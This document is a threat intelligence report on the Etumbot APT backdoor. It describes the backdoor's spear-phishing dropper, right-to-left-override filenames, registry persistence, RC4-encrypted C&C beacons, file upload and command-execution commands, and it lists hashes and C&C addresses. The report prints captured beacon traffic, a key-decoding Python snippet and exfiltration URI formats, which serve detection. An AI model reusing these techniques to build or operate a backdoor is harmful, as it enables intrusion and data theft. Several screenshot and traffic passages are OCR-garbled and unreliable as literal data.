



ASERT Threat Intelligence Brief 2014-07

Illuminating the Etumbot APT Backdoor

ASERT Threat Intelligence, June 2014

Etumbot is a backdoor used in targeted attacks since at least March 2011. Although previous research has covered a related family, IXESHE, little has been discussed regarding Etumbot's capabilities. ASERT has observed several Etumbot samples using decoy documents involving Taiwanese and Japanese topics of interest, indicating the malware is used in ongoing, targeted campaigns. This report will provide information on the capabilities of Etumbot and associated campaign activity.

Etumbot Capabilities and Techniques

Etumbot is a backdoor malware that has been associated with a Chinese threat actor group alternatively known as "Numbered Panda", APT12, DYNCALC/CALC Team, and IXESHE. Targeted campaigns attributed to this group include attacks on media, technology companies, and governments. IXESHE/Numbered Panda is known for using screen saver files (.scr), a technique repeated with the Etumbot malware. [1] A previous campaign using IXESHE malware was highlighted in 2012; the group used targeted emails with malicious PDF attachments to compromise East Asian governments, Taiwanese electronics manufacturers, and a telecommunications company. The group has reportedly been active since at least July 2009. [2] Etumbot has also been referred to as Exploz [3] and Specfix.

The variety of names for this malware could lead to some confusion about the actual threat. ASERT has associated Etumbot with IXESHE, and therefore Numbered Panda, based on similar system and network artifacts that are common between the malware families. For example, both malware families have been seen using the same ka4281x3.log and kb71271.log files, both families have been observed calling back to the same Command & Control servers and have been used to target similar victim populations with similar attack methodologies.

Etumbot has two primary components. The first is a dropper which contains the backdoor binary (the second component) and the distraction file. Stage one is likely delivered via spear phish using an archive file extension such as .7z to deliver executable content. Stage one has been seen to leverage the Unicode Right to Left Override trick combined with convincing icons for various types of PDFs or Microsoft Office documents to convince the user to click and therefore execute the malware, which then

ARBOR SERT Security Engineering & Response Team runs the backdoor and displays the distraction file. As with the IXESHE malware, Etumbot has been observed dropping documents of interest to a Taiwanese and Japanese target population.

Stage 1: Installer/Dropper

To profile the techniques and capabilities of Etumbot, we will analyze an Etumbot dropper with MD5 ff5a7a610746ab5492cc6ab284138852 and a compile date of March 4, 2014.

When executed, the dropper loads up a resource named "BINARY" from the resource section then creates the directory C:\Documents and Settings\User\Application Data\JAVA, then creates a temporary file C:\DOCUME~1\User\LOCALS~1\Temp\ka4281x3.log then creates C:\Documents and Settings\User\Application Data\JAVA\JavaSvc.exe from the aforementioned BINARY resource. This file, JavaSvc.exe, is the backdoor component (MD5 82d4850a02375a7447d2d0381b642a72). JavaSvc.exe is executed with CreateProcessInternalW. The backdoor component of the malware (named here as JavaSvc.exe) is now running. It is interesting to note that versions of the IXESHE malware also used JavaSvc.exe as a filename.

Most Etumbot samples observed by ASERT drop decoy documents (PDFs, Word Documents, and Excel Spreadsheets) written in Traditional Chinese and usually pertaining to Cross-Strait or Taiwanese Government interests. Several decoy files contain details on upcoming conferences in Taiwan.

Spear Phishing

Etumbot appears to be sent to targets via spear phishing emails as an archive; ASERT has observed .7z and .rar formats being used to presumably deliver the Etumbot installer. The archive filename will have a topic most likely of interest to the victim.

At least one identified malware sample (75193fc10145931ec0788d7c88fc8832, compiled in March 2014) uses a password-protected .7z to deliver the Etumbot installer. It is most likely that the spear phish email contained the password.

2 0% Extracting C:\Users\	IT\Deskto 030522新機關	引籌備小組清單.7z	
Elapsed time: Remaining time: Files: Compression ratio:	00:00:14 Enter password Enter password:	Total size: Speed: size:	0 B
	Background	Pause	Cancel

With the correct password, the victim has access to the dropper inside the archive. This archive most likely included the installer d444be30d2773b23de38ead1f2c6d117, as the filenames match (1030522 %

機關籌備小組清單.7z and 1030522 新機關籌備小組清單 rcs.DOC). 1030522 is a date (May 22, 2014) from the Minguo calendar, which is unique to Taiwan. The calendar is based on the establishment of the Republic of China in 1911. 2014 is therefore the "103rd" year of the ROC. The installer is a .scr binary posing as a Word Document. This dropper drops a decoy document and the backdoor, named sysupdate.exe in this instance.

Right-to-Left Override



After the files are extracted from the archive, the filenames of Etumbot installers make use of the right-to-left override (RTLO) trick in an attempt to trick users into clicking on the installer. The RTLO technique is a simple way for malware writers to disguise names of malicious files. A hidden Unicode character in the filename will reverse the order of the characters that follow it, so that a .scr binary file appears to be a .xls document, for example. Threat actors using this trick have been well documented since at least 2009. [4-5] One way to avoid this trick in Windows is to set the "Change your view" level to "Content".

[6]

Below are some of the names of Etumbot installers using RTLO successfully:

File name	Md5
招標規範 Finarcs.doc	b3830791b0a397bea2ad943d151f856b
1030522 新機關籌備小組清單 rcs.DOC	d444be30d2773b23de38ead1f2c6d117
報價單 Finarcs.xls	5340fcfb3d2fa263c280e9659d13ba93
10342 委會-審□金融法規修正草案報告 rcs.xls	beb16ac99642f5c9382686fd8ee73e00
國發會 1030324 第 1 次委員會重要議題通報 finalrcs.xls	4c703a8cfeded7f889872a86fb7c70cf
APO EPIF 邀請函 rcs.xls	1ce47f76fca26b94b0b1d74610a734a4

Stage 2: Persistence, Distraction, HTTP Beacon and Crypto Functionality

As the backdoor executes from our previous example, C:\DOCUME~1\User\LOCALS~1\Temp\ kb71271.log is created and contains the following registry file to make the malware persistent:

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] "JavaSvc"="C:\\Documents and Settings\\User\\Application Data\\JAVA\\JavaSvc.exe"

The dropper then calls regedit with kb71271.log as a parameter to modify the registry. kb71271.log is then deleted. These temp files appear to be static and used across multiple samples of Etumbot and IXESHE. Various other samples were found using this same naming scheme.

Next, C:\DOCUME~1\User\LOCALS~1\Temp\ka4281x3.log is created, filled with contents of the bait/distraction file, and then copied to C:\DOCUME~1\User\LOCALS~1\Temp\~t3fcj1.doc, which is then opened. If Word isn't installed, then notepad will open the file instead. The ka4281x3.log file is then deleted.

Returning to the first sample, once the dropper (ff5a7a610746ab5492cc6ab284138852) installs the Etumbot backdoor (82d4850a02375a7447d2d0381b642a72), an initial HTTP beacon is sent to the Command & Control server that requests an RC4 encryption key. The beacon takes the form of a GET request to /home/index.asp?typeid=N where N is a randomly selected odd number between 1 and 13. If the C&C is online, the decoded response payload will contain the RC4 key that is used to encrypt subsequent communication.

If the C&C does not send a valid response, the bot will re-send the initial request every 45 seconds.

GET /home/index.asp?typeid=13 HTTP/1.1 Connection: keep-alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.google.com/ Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0) Host: 98.188.111.244

While the user-agent may appear to be legitimate, it only occurred 39 times in a corpus of over 61 million HTTP requests. Due to the possibility of this User-Agent appearing in legitimate traffic, other indicators – such as the additional fake Referer value of http://www.google.com should be present before compromise is assumed. All of the headers in the HTTP request are hard-coded in both order and value, so they may be used to provide additional indicators of compromise.

Corpus Results	
Expression:	User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)
Expression Type:	Verbatim String
Case Sensitive:	True
Query Type:	Against Individual Header Lines
Matching Requests:	39 hits out of 61,112,636 total requests
Match Rate:	0.00006382 %
Expected False Positive Rate:	Approximately 1 F.P. per 1,566,991 requests

If the C&C is online and responds to the beacon, then the RC4 key is delivered to the bot in a string of base64 encoded characters. Etumbot uses a url-safe base64 alphabet, i.e., any characters that would require URL-encoding are replaced. Usage of base64 is a technique consistent with previous analysis done on IXESHE malware. [2,7] In the case of Base64, the "/" and "=" characters are replaced with "__" and "-" respectively. The payload from the C&C contains an 8-byte command code in little-endian format, followed by a null-terminated string argument if the command requires it. In the case of the initial beacon response, the RC4 key is located after the command code and has been observed to be **e65wb24n5** for all live C&C's that ASERT has analyzed.

An example of this initial beacon and delivery of RC4 key is as follows.

GET /home/index.asp?typeid=13 HTTP/1.1
connection: Reep-ative
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Reference in coshe
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)
Host: 198.209.212.82
HTTP/1.1 200 OK
Content-Length: 1080
Content-Type: image/jpg
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sat. 24 May 2014 03:30:11 GMT
Connection: keep-alive
A0AAAAAAABlNiV3YiI0biUAAAAAAAAAAAAAAG5FAVByIz8hYk08ITI4BA0lMTByBRx0NB18BndM
cFMK0hR5Pxxk03VnFEALeXA6C3RPBmJLHBBccH0INEl9I3kMUk0l0T4wCFaaD3khTil5IEAaGzU
DmtUeFJBYSQHEiwRADteMEFiTw5oXgtiGkUxL14JPlwyY00XPkVa0iAvUBEaJWlk00EmZRoXZ10E
N3BndH0kbEErew0NUk1bEB1pNDJof51bP0MCeWUyHS0PA27APHEcCBk/PUBbCC8bdTgTXXcTBbBb
VIbidB8iL2Y TCNIdTNiZkEvB0M5BWta0kBALi4KTA5UBibVPxbbSk1fAwdKKi8zdb16TktbBUZA
00dICBgEEgY0dwp0Nit10gB8DzM9N3N0BbteHgdwaVtvcDZvS103CTVbABI16BMrWb1E0xcd0bVZ
MSx+N0xgEHqVKHBAdBIBIZNEP14gIHErBAYeWH1iGCMAd1x5MWAuEk5TW3M
+1xEMc11sc1EAbzgzB2NS0X0iYBBucmthDyYaZB8tBBMb1iMoCX1eMkM+YidfCHcxTUBHbic
+BiFeNwAvWD40W2p0dillyCT1HEEU+KBc
+ZEVJTA02HgxwAiJva306KXkIL3ZnBwAIKCh4M3sgEgZZGU91EXg4ancZESA1N11BaB08b3drCWo
fbWB+fkIyKEJ8AnJlaUAxEglWZSM
+TWFEAE4aCnFpe1JpB1xTBSgfEUwVUh1UDE5UVC1ganIcXXlfcmRzdWkPK2doDlBhVmx4dm8zUkF
gMWJHdRhzRSdrKwk KWAadyAqMEg2MlEYNVl9Wl84bQtVcRYpFHAXGg8kQiI6E1xiBApHV3ZDLBY
+G2sADmJXUC90CixmBEYUNGBXATh0QVxUNTwyQnhbXRxNTHLCEALYBXhyTWdyQRcNBxskBRlRBn4
2HlhNbEtnJCk4QkIoDzRbEChGLi10ERpgZTpNNCJjKEUN0hhlcRR1Dkw
+ITMAYAleCDQdTVpTHGQbXwktTmROQiooaEtLLHcILTo4an08I1p9H2IPeBseLiUScQp3Xg

The RC4 key can be obtained from the C&C response with the following python:

import base64

c2_response="""AQAAAAAAAABINjV3YjI0bjUAAAAAAAAAAAAAAG5FAVBvIz8hYk08ITI4BA0IMTBvBrx0NB18
BndMcFMKQhR5PxxkQ3VnFEALeXA6C3RPBmJLHBBccHQINEl9I3kMUk0lOT4wCFgqD3khTjl5IEAqGzU_DmtU
eEJBYSQHEiwRADteMEFjTw5oXgtjGkUxL14JPlwyYQQXPkVaQiAyUBEaJWlkOQEmZRoXZ10EN3RndH0kbEEre
w0NUklhFRlpNDJofS1hPQMCeWUvHSQPA2ZAPHEcCRkLPURbCC8bdTgIXXcIBhBbVlhjdB8iL2Y_TCNldTNjZkE
vB0M5BWtaOkBALj4KIA5UBjhVPxhhSk1fAwdKKi8zdhl6TkthRUZAOQdICRgFEgY0dwpQNjtlQgR8DzM9N3NQ
BhteHgdwaVtycDZvS1Q3CTYhARI1GBMrWh1FQxcdQhV7MSx+NQxqFHgVKHRAdBIBIzNFP14gLHErBAYeWH
1jGCMAdIx5MWAuFk5TW3M+UxFMcIIsclEAbzgzB2NSOX0iYBBucmthDyYaZR8tBBMbJjMoCXleMkM+YjdfCHc
xIUBHbic+RiEeNwAvWD40W2p0diUyCTJHFEU+KRc+ZFVJTA0zHgxwAiJva306KXkIL3ZnRwAIKCh4M3sgFgZ
ZGU9IFXg4ancZFSAINI1RaRQ8b3drCWofbWB+fkIyKEJ8AnJlaUAxEgIWZSM+TWFEAE4aCnFpe1JpB1xTBSgfE
UwVUh1UDE5UVC1qanIcXXlfcmRzdWkPK2doDlBhVmx4dm8zUkFgMWJHdRhzRSdrKwk_KWAadyAqMEg2MlE
YNVI9WI84bQtVcRYpFHAXGg8kQiI6E1xiBApHV3ZDLBY+G2sADmJXUC9OCixmBEYUNGBXATh0QVxUNTwyQ
nhbXRxNTHICEAIYBXhyTWdyQRcNBxskBRIRBn42HlhNbEtnJCk4QkIoDzRbEChGLi10ERpgZTpNNCJjKEUNOhh
lcRR1Dkw+ITMAYAleCDQdTVpTHGQbXwktTmROQiooaEtLLHcILTo4an08I1p9H2IPeBseLiUScQp3Xg
""".replace('_','/').replace('-','=')
c2_response=base64.b64decode(c2_response)
$rc4 key = c2 response[8:8+c2 response[8:1 find('\x00')]$

rc4_key = c2_response[8:8+c2_response[8:].find('\x00')]
print rc4_key
e65wb24n5

While a payload of 1080 bytes is sent back, the majority appears to be random padding.

Once the bot has received the encryption key, the bot sends a registration callback to the C&C /image/<encrypted data>.jpg containing the encrypted values of system information to include the NetBIOS name of the system, user name, IP address, if the system is using a proxy (Yes/No), and a numeric value which may be some type of campaign code. IXESHE malware has also been observed using a unique campaign code that is delivered back to the C&C. [7]

Etumbot discovers the proxy settings of the local machine. If a proxy is defined, communications to the C&C bypass the proxy and go directly to the Internet. Environments with system-defined proxies won't get this activity in proxy logs, however transparent proxies may see this activity.

A contrived example of this registration string generated by the Etumbot backdoor prior to encryption is as follows:

WINXPBOX|johnsmith|10.0.1.15|No Proxy|05147|

A bot registration call to /image



Once the bot has registered with the C&C, it will send periodic pings to ask for new commands to execute. The URI for the ping requests is /history/<encrypted NetBIOS name>.asp, where encrypted NetBIOS name is the url-safe base64 encoding of the rc4-encrypted NetBIOS name.

GET /history/ zWzIg7.asp HTTP/1.1 Connection: keep-alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.google.com/ Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0) Host: 198.209.212.82 HTTP/1.1 200 OK Content-Length: 1080 Content-Type: image/jpg Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Date: Sat, 24 May 2014 03:30:30 GMT Connection: keep-alive 1UMyd_bp4Zx0w96DjbIx1HVwJH7TRK0PvHi9XwYesxqjLdUmq2qSe7bbUd5C +CirVWZM4ndTZDZQbRCnLM2mWiVwM0ac6enKc9t 3k0n6QDW0 zy7Qa5BAYf2mc4SM9JxwJxEq9XcVPL HQKTjvqQUtbJUxevWHP 85tJqUJBfpzSfAlOICiPpl24ntm1Ais7 +Uafbjd 5IAd4lwJ4uB EdxHbdP10tTE+LpYKbJsiy5rBh2CoEBmKnqZL6aRd5ymLN +tlT0UBn7jHUjFMfEYDg8Tn7fkUsrV5hBSpKEl8Cz4ZmxWt +wtN0CmXy7BWCdgxIhTFllrLAXGwfnuDpZAz5_ZpxY3x1hhLJLV6dpX1MfmrASuG+z +KXtLiU23L5sWrhQbZrYabk bPga73DtcVDmB8u2ZAs57pb5GXG7KSVwgLkzPUxwl PDkwQIN05J0iug SVKWL DX1V 9cUgwln02VHhYz+GWgjHMl7rgwXfSFd7 +OHSrSVA9vw0Vc_7yJzwny9p_khINyAswFM0a_J8wENAZF02RX42m0fMk6HKxc2k9 +PgulXoTLYohoVJTFylooXvLNFiJXy0Uud4XyloYXYyjJUfjptKb46k0Ee HG0RU9QKT6qw3CLGvDYcU zaxh+4Ic3Asmmjx6+Ch1y +oN7ZQdRPJS0T05gUJhkEC0Qs6xkQA0oT7koUgWSvU6Tx1ZlQL4KbvLgBWqXQ0Ign6UspzwriDSuv350 1vm0Zg7M1 0P5VbGaEZwWsxuIeVbxLdwWldDx7LVjB4p JBsGu7ImddazJWp6Ay3V1l3 +50du01_yBsYfxr2gJ6cPspQUyi13rDCJgAlhV_pHvmkOMLNwuCTvWaUGyr0e +gpMtXlEEzm888dmv2cniQuekul+PjSh7n06sdBbj4EDv442LfSu3nZw98d0INSXmDjF6lkBlZHmh0q9 +dwhH06zrSJifZ7B8Ybrnf0kR2zvD9jiiSgzqatXrKpG2Fb2tMYAYg8+X_CwHt1BrXLb_Wi +Lv2h6UbfmbbGYbpyCDi IZM0qVCIA06N8G+d4hHxaVT4R0ZyJmTnMIUA--

Etumbot Command Structure

The first eight bytes of C&C responses to the bot include the command, and the second eight bytes contain an ASCII string that is parsed. In the event of a file download, file upload, or command execution, the second eight bytes contain the filename or command to be executed. The parsing function inside the binary reveals at least five commands:

Etumbot function	Command name	Internal code
Execute arbitrary command	ETUM_CMD_EXEC	3
Download file from C&C	ETUM_CMD_PUTFILE	4
Upload file from bot to C&C	ETUM_CMD_READFILE	5
Pause execution	ETUM_CMD_SLEEP	7
Delete backdoor binary and terminate program	ETUM_CMD_UNINSTALL	8
Ping the C&C	ETUM_CMD_PING	9

ETUM_CMD_EXEC provides the capability for the attacker to run any command on the compromised hosts. Both stdout and stderr from the command are redirected to a pipe and are then relayed back to the C&C using a separate thread that spawned during initialization. In the event of a process creation or hang error, an HTTP transaction to /tech/s.asp/m=<message> is sent to the C&C, where <message> contains

a create process error statement "CreateProcess Error: %d" or a message that states "Process Do not exit in 10 second, so i Kill it!". Some samples of droppers have been observed using the string "Process Do not cunzai in 10 second, so i Kill it!". The word "cunzai" is likely the pinyin (romanization) for the Mandarin word 'exist'.

ETUM_CMD_PUTFILE provides the capability for files to be placed on local system from the C&C. The file upload is accomplished by sending a request to /docs/name=<data> and the C&C is expected to respond with the full contents of the file as the response payload.

A success or failure status message is relayed via a call to /tech/s.asp?m=<encrypted status message> with various reasons for failure potentially being relayed.

ETUM_CMD_READFILE allows any file from the compromised system to be uploaded to the C&C. When a READFILE command is received from the C&C, the bot makes an initial call to /manage/asp/item.asp?id=<encrypted computer name>&&mux=<encrypted total file size> and checks for the presence of "I'm Ready" in the response from the C&C. Data from the file is read in 2000 byte chunks, RC4 encrypted and then url-safe base64 encoded. The data is sent back to the C&C via the URI /article/30441/Review.asp?id=<encoded computer name>&&date=<file chunk data>. The bot expects a message of "OK" from the C&C after each response is sent and will terminate the upload and send an error message to the C&C in the case it is not seen. A success or failure message is sent via the /tech/s.asp?m=<encrypted status message> to complete or terminate the upload.

ETUM_CMD_SLEEP puts the bot into a dormant state for a period of time. When a bot receives the sleep command, it will relay the message, "I will sleep %d minutes!" via a call to /tech/s.asp?m=<encrypted message>.

ETUM_CMD_UNINSTALL deletes the binary and terminates the process with no additional communication to the C&C.

Use of Byte Strings Technique (aka "String Stacking")

Etumbot uses a technique to load strings into memory that has been called "byte strings" and also "string stacking" whereby character values are loaded into a specific memory location one byte at a time. Assuming the string values do not change frequently, these byte strings can make for meaningful detection capabilities, such as discovering an unusual combination of characters (to include typos, unique or odd syntax) being loaded into memory that creates a unique fingerprint for the malware activity that can be used as part of a yara rule or other detection mechanism. The byte string technique has been observed in various Chinese APT malware, including Gh0st RAT, IXESHE malware, Etumbot and others.

ASERT has provided an IDApython script that will provide for cleaner analysis of such strings as well as a corresponding blog entry that describes the obfuscation technique and code. [8-9]

The output of running find_byte_strings.py on an Etumbot backdoor shows the string "I'm Ready" which is involved in file transfer routines. The first screenshot shows the default hex byte values that are MOVed into offsets from EBP, and the second screenshot shows those same characters after translation to string values.

IDA View-A		×	Byte	Strings			(
	rea car, [cop.var_rio]		_				_
	mou [ebp+uar_24] eby			Address	Function	Str	ir 🛆
	rep stosd stosw		8	0x417792	sub_417720	Connection: keep-alive	
	mov [ebp+var_44], ebx		9	0×4013D6	sub_40126F	kb71271.log	
	stosb		10	0x41A953	sub_41A770		
	mov [ebp+var_4F], 27h		11	0×401168	sub_401138	ka4a8213.log	-
	mov [ebp+var_4E], 6Dh		12	0×4014A1	sub 40126F	regedit /s %s	
	mov [ebp+var_40], 201		13	0×418841	sub 4186EC	ProxyServer	
	mov [ebp+var_4B], 65h		14	0×4195B2	sub 419546	/docs/name=	
	mov [ebp+var_4A], oin mov [ebp+var_49], 64h		15	0×4189DB	sub_4189AC	/home/index.asp?typeid=	
	mov [ebp+var_48], 79h		16	0×4190D8	sub_4190BD	/history/	
	mov [ebp-'G'], bl		17	0x419CE6	sub 419B16	/article/30441/Review.asp	
	mov [ebp+var_40], srn mov [ebp+var_3F], 69h		18	0×418802	sub_4186EC	ProxyEnable	
	mov [ebp+var_3E], 64h			OX 110002	565_110020	Cree Park File W a Susseed E	
	mov [ebp+var_3D], 3Dh		19	0×4198AD	sub_419546	Creaput File %s buccess!	
	mov [ebp+var 58], 26h		20	0x419BB6	sub 419B16	I'm Ready	
	mov [ebp+var_57], 26h		21	0v419825	cub 419806	limagel	
	mov [ebp+var_56], 6Dh		21	0.410020	sub_410000	/intege/	
	mov [ebp+var_55], 750		22	0X419226	SUD_419207	/tech/s.asp/m=	
	mov [ebp+var 53], 3Dh		23	0×417B9A	sub_417720		
	mov [ebp-'R'], bl mov [ebp+var_60], 26h		24	0x417B33	sub_417720	Cache-Control: no-cache	
	mov [ebp+var_5F], 26h mov [ebp+var_5E], 64h		25	0×417AE8	sub_417720	Pragma: no-cache□	
	mov [eop+var_50], 61h mov [ebp+var_50], 74h mov [ebp+var_58], 61h xor eax eax		26	0×419E5C	sub_419B16	CreaGet File %s Error!□ □	
	lea edi, [ebp+var_10F]		27	0×4195E1	sub 419546	/tech/s.asp?m=	~
100 00% (0	mou [ebn+uar 118] b]	1 41	<	1111		2	•

pop lea	ecx edi, [ebp+var_213] [ebp+var_21k] b]		Byte	Strings			×
mov	[ebp+var_214], bi [ebp+var_24], ebx			Address	Function		^
rep st	osd		-			Connection: keep-alive	
mov	[ebp+var 44], ebx		8	0x417792	sub_417720		
nov	[ebp+var_50], 'I'		9	0x4013D6	sub 40126F	kb71271.log	
			10	0~414953	- sub 410770		_
0V	[ebp+var_4F], 27h		10	0.414933	SUD_TIM//O		_
UV OV	[eup+var_4E], M		11	0×401168	sub_401138	ka4a8213.log	_
00	[ebo+uar_40],		12	0x4014A1	sub_40126F	regedit /s %s	
	[ebp+var_48], 'e'		13	0x418841	sub_4186EC	ProxyServer	
	[ebp+var_4A], 'a'		14	0x4195B2	sub 419546	/docs/name=	
	[ebp+var_49], 'd'		15	0x4189DB	sub 4189AC	(bome/index.asp?typeid=	=
V 	[ebp+0ar_48], 'y'		10	0.110000		http://www.d	_
	[ebp+uar 40] '?'		16	Ux4190D8	SUD_4190BD	/history/	_
ŭ	[ebn+var 3F1, 'i'		17	0x419CE6	sub_419B16	/article/30441/Review.asp	
U I	[ebp+var_3E], 'd'		18	0x418802	sub_4186EC	ProxyEnable	
v	[ebp+var_3D], '='					CreaPut File %s Success! 🗆	
v	[ebp-'<'], b1		19	0×4198AD	sub_419546		
	[ebp+var_58], '&'		20	0.410000	wh. 410017	the Deede	_
	[ebp+uar_57], &		20	0X419DD0	SOD_419D10	I'm Ready	
ŭ	[ebp:var_50], M		21	0x418B25	sub_418B06	/image/	_
Ū	[ebp+var 54], 'x'		22	0x419226	sub_419207	/tech/s.asp?m=	
,	[ebp+var_53], '='		22	0v417894	cub 417720		
,	[ebp-'R'], b1		23	0X417B9A	SUD_417720		_
	[ebp+var_60], '&'		24	0v417P22	cub 417720	Cache-Control: no-cache	
	[ebp+var_5F], '&'		24	0741/033	500_417720		
	[ebp+var_5E], 'd'		25	0-417459	cub 417720	Pragma: no-cache	
	[eop+var_sv], 'a'		25	UX41/AE0	SUD_417720		
Ň	[ebp+uar_56], C					CreaGet File %s Error! 🗆	
	feeb.ogr_spl, g		26	0x419E5C	sub_419B16		~
a	edi [ehn+uar 10F]		<				2
1) (280	.257) 000099DB 00419BDB:	sub					

Two additional screenshots provide insight into all of the strings discovered.

Byt	e Strings			Ву	te !	Strings		X
Г	Address 🔺	Function	String		_	Address 🔺	Eunction	String A
1	0×40102B	sub_401000	96.188.111.244		33	0x40459D	sub_404028	Create File %s Error %d!
2	2 0x401067 3 0x40118B	sub_401000 sub_4010DD	80 Connection: keep-alive		34	0x4046FD	sub_404028	Put File %s Error! 🗆
4	0x40123A	sub_4010DD	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8		35	0x40483A	sub 404028	Put File %s Success!
5	5 0x401440	sub_4010DD	Referer: http://www.google.com/		~	0.404407		The Decide
6	0x40152E	sub_4010DD	Pragma: no-cache		30	0x404A37	sub_404958	?id=
7	0×4015B3	sub_4010DD	Content-Type: application/x-www-form-urlencoded		38	0×404AA0	sub_40495B	88mux=
8	3 0×40167B	sub_4010DD	Cache-Control: no-cache		39	0×404AD1	sub_40495B	8&data=
9	0x4016F8	sub 4010DD	Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)		40	0x404B4C	sub_40495B	/tech/s.asp?m=
	0 0x401E94	sub 401DA2	CET		41	0×404BB5	sub_40495B	/manage/asp/item.asp
1	1 0x401F15	sub_401EFB	%d.%d.%d		42	0×404C48	sub_40495B	/article/30441/Review.asp
	2 0x402252	sub 402234	SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList		43	0x404E23	sub_40495B	Create File %s Error %d!
	3 0x402540	sub 402234	ProfileImagePath		44	0×405051	sub_40495B	Get File %s Error!
	4 0x4027F1		Software\Microsoft\Windows\CurrentVersion\Internet Settings		45	0x405256	sub_40495B	Get File %s Error!
1	5 0x4029AE	sub_4027BF	ProxyEnable		46	0x4053C5	sub_40495B	
1	.6 0x4029EC	sub_4027BF	ProxyServer		47 48	0×4054E5 0×405716	sub_40495B sub_40495B	Get File %s Success!
1	7 0x402C8C	sub_402C63	/home/index.asp?typeid=		49	0x40593D	sub_40495B	Get File %s Error!
1	8 0×402E80	sub_402E6A	/image/		50	0×405E00	sub_405DF7	ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmn
1	9 0x40305F	sub_402F13	.jpg		51	0x406064	sub_405DF7	
2	0 0x40322B	sub_402F13	.asp	ŀ	<u> </u>			
2	21 0x403728	sub_403711	/history/					
2	2 0x403911	sub_4038FB	/tech/s.asp?m=					
2	3 0x403A1C	sub_4039DA	"%s" /c del "%s"					
2	4 0x403AD2	sub_4039DA	COMSPEC					
2	25 0×403BFB	sub_403BE5	I will sleep %d minutes! 🗆					
2	26 0×403C7B	sub_403BE5	/tech/s.asp?m=					
2	27 0x403DA1	sub_403D38	/tech/s.asp?m=					
2	28 0×403E7E	sub_403D38	CreateProcess Error : %d					
2	9 0x4040AF	sub_404028	/docs/name=					
3	0×404103	sub_404028	/tech/s.asp?m=					
3	31 0x4042B9	sub_404028	Put File %s Error! D					
3	32 0x4043E6	sub_404028	Malloc Buffer Error!					

The byte string technique has also been observed in other malware, so its presence alone does not specifically indicate the activities of Chinese threat actors.

An interesting artifact occasionally observed during analysis is the presence of a numeric value just after an IP address used as a C&C. The placement of this number after a colon suggests the use of a port value, however such a port value is too high to be valid. An example of this taken from an Etumbot sample performing an initial beacon is as follows:

http://92.54.232.142:305397840/home/index.asp?typeid=13

Filename	Purpose	Notes
ka4281x3.log	Temporary file for data exchange from C&C	Observed in various IXESHE malware variants as well as Etumbot. File is stored in C:\Windows\system32 \Documents and Settings\ <username> or elsewhere</username>
ka4a8213.log	Temporary file for data exchange from C&C	Similar in format to the prior filename, this has only been observed in Etumbot samples.
kb71271.log	Temporary file for data exchange from C&C, to include registry file	Observed in various IXESHE malware variants as well as Etumbot
~DA5E74.doc ~DS5D64.doc ~t3fcjl.doc ~g4h710.doc ~gh4710.pdf ~trfai3.doc ~tresd2.xls ~taste3.doc ~tasyd3.xls ~tkfad1.xls	Distraction documents	Contains a variety of document content, often obtained from other sources that will be of interest to the target
ntprint.exe conime.exe JavaSvc.exe serverupdate.exe wscnsvr.exe spoolvs.exe winlogdate.exe	Backdoor binary	The Etumbot backdoor binary itself which is added to the registry for persistent execution
tst1.tmp tst2.tmp tst3.tmp		Observed in IXESHE malware and Etumbot samples as well as in other malware. The file tst3.tmp is more popular than the other two file names and is used in a wider variety of malware
Locations JAVA	Directory created	Created in \Documents and Settings\ <username>\Application Data\ and also in root of C:\ directory</username>

Etumbot Backdoor Related File System Artifacts of Interest

Etumbot Command and Control Indicators

Most instances of Etumbot that were analyzed connect directly to an IP address with the IP address hardcoded in the binary. These C&C's were obtained from analyzing malware samples compiled over a period of several years.

IP Address	Domain Name	Country
200.27.173.58		CL
200.42.69.140		AR
92.54.232.142		GE
133.87.242.63 ¹		JP
98.188.111.244	intro.sunnyschool.com.tw	US
143.89.145.156 ²		НК
198.209.212.82 ³		US
143.89.47.132 ²		НК
196.1.99.15 ⁴	wwap.publiclol.com	SN
59.0.249.11		KR
190.16.246.129		AR
211.53.164.152	finance.yesplusno.com	KR

A number of these C&C IP addresses are also used by IXESHE-related malware, which seems to indicate that Etumbot is often used in tandem with IXESHE. The domain finance[.]yesplusno[.]com and IP address 211[.]53.164.152 was also used by a variety of IXESHE samples, for instance. The registrant for the domain yesplusno[.]com is listed as "alice yoker" with the email address "chuni_fan@sina.com". Other domains registered in this name have also been used as C&C for IXESHE:

securezone[.]yesplusno[.]com [10] prishmobile[.]googlesale[.]net yahoopush[.]googlesale[.]net

The IP address 98.188.111.244 has also been used as a C&C for multiple IXESHE samples, beginning in at least March 2013 and observed as recently as March

2014 with an Etumbot sample. This is the IP address for what appears to be a legitimate website for a school in Taiwan: intro.sunnyschool.com.tw. Note that if HTran or other connection bouncer is used, the C&C may be a legitimate site that was simply compromised and used to direct traffic elsewhere.

Miscellaneous Network Artifacts: Use of Htran Connection Bouncer

Indicators suggest that HTran, a connection bouncer, is being used in some cases such as on the C&C contacted by malware sample MD5: 1ce47f76fca26b94b0b1d74610a734a4 (compilation date March 12, 2014). The presence of HTran is based on the following response string

[SERVER]connection to ss:dd error

```
GET /home/index.asp?typeid=13 HTTP/1.1
Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.google.com/
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)
Host: 133.87.242.63
[SERVER]connection to ss:dd error
```

¹ IP address allocated to Hokkaido University

